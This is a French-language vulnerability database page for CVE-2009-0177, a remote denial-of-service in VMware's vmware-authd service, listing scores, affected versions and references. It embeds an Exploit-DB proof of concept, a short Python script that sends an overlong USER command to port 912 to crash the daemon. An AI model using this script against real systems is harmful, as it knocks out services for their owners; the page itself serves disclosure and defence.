CVE-2009-0177 : Détail

CVE-2009-0177

9.37%V3
Network
2009-01-20
14h26 +00:00
2017-10-18
12h57 +00:00
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Descriptions du CVE

vmwarebase.dll, as used in the vmware-authd service (aka vmware-authd.exe), in VMware Workstation 6.5.1 build 126130, 6.5.1 and earlier; VMware Player 2.5.1 build 126130, 2.5.1 and earlier; VMware ACE 2.5.1 and earlier; VMware Server 2.0.x before 2.0.1 build 156745; and VMware Fusion before 2.0.2 build 147997 allows remote attackers to cause a denial of service (daemon crash) via a long (1) USER or (2) PASS command.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 7647

Date de publication : 2009-01-01 23h00 +00:00
Auteur : laurent gaffié
EDB Vérifié : Yes

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Vmware <= 2.5.1 build-126130 Remote Denial of Service Application: Vmware Web Site: http://www.vmware.com/ Platform: Windows * Bug: Remote Denial of Service Tested agains: Vmware player 2.5.1 build-126130, workstation 2.5.1 build-126130, using Windows XP SP3 fully patched ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Credits ================ 1) Introduction ================ "VMware desktop virtualization technology lets you run multiple operating systems on a single physical computer. Easily run Windows applications on your Mac, including high end games and other graphic applications, with VMware Fusion. Run Windows and Linux applications on Windows or Linux PCs with the free VMware Player." ======= 2) Bug ======= Vmware-authd listen on 0.0.0.0 port 912 on a windows box by default. A denial of service exist in the module vmwarebase.dll of the system process vmware-authd.exe when a long username or password is supplied to the service, code execution doesn't look possible at this time. A dump file will be created here: C:\Documents and Settings\LocalService\Application Data\VMware\vmware-authd-*.dmp Also some old version of this binary (like 6.00.3938.0000) doesn't seems vulnerable to this DoS. ================== 3)Proof of concept ================== Auth-dos.py : import struct import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buff = 'A' * 350 target = '192.168.0.102' port = 912 s.connect((target, port)) data = s.recv(1024) s.send('USER '+buff+'\r\n') data = s.recv(1024) s.send('PASS yo \r\n') data = s.recv(1024) print " [+] sending dummy payload" s.close() print " [+] done! " ===== 4)Credits ===== laurent gaffié laurent.gaffie{remove_this}[at]gmail[dot]com # milw0rm.com [2009-01-02]

Products Mentioned

Configuraton 0

Vmware>>Ace >> Version To (including) 2.5.1

Vmware>>Ace >> Version 2.5.0

    Vmware>>Fusion >> Version To (including) 2.0.1

    Vmware>>Server >> Version 2.0.0

    Vmware>>Vmware_player >> Version To (including) 2.5.1

      Vmware>>Vmware_player >> Version 1.0.0

        Vmware>>Vmware_player >> Version 1.0.1

          Vmware>>Vmware_player >> Version 1.0.2

            Vmware>>Vmware_player >> Version 1.0.3

              Vmware>>Vmware_player >> Version 1.0.4

                Vmware>>Vmware_player >> Version 1.0.6

                  Vmware>>Vmware_player >> Version 1.0.7

                    Vmware>>Vmware_player >> Version 1.0.8

                      Vmware>>Vmware_player >> Version 1.0.9

                        Vmware>>Vmware_player >> Version 1.05

                          Vmware>>Vmware_player >> Version 2.0

                            Vmware>>Vmware_player >> Version 2.0.1

                              Vmware>>Vmware_player >> Version 2.0.2

                                Vmware>>Vmware_player >> Version 2.0.3

                                  Vmware>>Vmware_player >> Version 2.0.4

                                    Vmware>>Vmware_player >> Version 2.0.5

                                      Vmware>>Vmware_player >> Version 2.5

                                        Vmware>>Vmware_workstation >> Version To (including) 6.51

                                          Vmware>>Vmware_workstation >> Version 4.5.3

                                            Vmware>>Vmware_workstation >> Version 5.0

                                              Vmware>>Vmware_workstation >> Version 5.5.0

                                                Vmware>>Vmware_workstation >> Version 5.5.1

                                                  Vmware>>Vmware_workstation >> Version 5.5.2

                                                    Vmware>>Vmware_workstation >> Version 5.5.3

                                                      Vmware>>Vmware_workstation >> Version 5.5.4

                                                        Vmware>>Vmware_workstation >> Version 5.5.5

                                                          Vmware>>Vmware_workstation >> Version 5.5.6

                                                            Vmware>>Vmware_workstation >> Version 5.5.7

                                                              Vmware>>Vmware_workstation >> Version 5.5.8

                                                                Vmware>>Vmware_workstation >> Version 6.0

                                                                  Vmware>>Vmware_workstation >> Version 6.0.1

                                                                    Vmware>>Vmware_workstation >> Version 6.0.2

                                                                      Vmware>>Vmware_workstation >> Version 6.0.3

                                                                        Vmware>>Vmware_workstation >> Version 6.0.4

                                                                          Vmware>>Vmware_workstation >> Version 6.0.5

                                                                            Vmware>>Vmware_workstation >> Version 6.5

                                                                              Références

                                                                              http://seclists.org/fulldisclosure/2009/Apr/0036.html
                                                                              Tags : mailing-list, x_refsource_FULLDISC
                                                                              http://secunia.com/advisories/33372
                                                                              Tags : third-party-advisory, x_refsource_SECUNIA
                                                                              http://www.securityfocus.com/bid/34373
                                                                              Tags : vdb-entry, x_refsource_BID
                                                                              http://www.vupen.com/english/advisories/2009/0024
                                                                              Tags : vdb-entry, x_refsource_VUPEN
                                                                              http://osvdb.org/51180
                                                                              Tags : vdb-entry, x_refsource_OSVDB
                                                                              https://www.exploit-db.com/exploits/7647
                                                                              Tags : exploit, x_refsource_EXPLOIT-DB
                                                                              http://www.securitytracker.com/id?1021512
                                                                              Tags : vdb-entry, x_refsource_SECTRACK
                                                                              http://www.vupen.com/english/advisories/2009/0944
                                                                              Tags : vdb-entry, x_refsource_VUPEN
                                                                              http://secunia.com/advisories/34601
                                                                              Tags : third-party-advisory, x_refsource_SECUNIA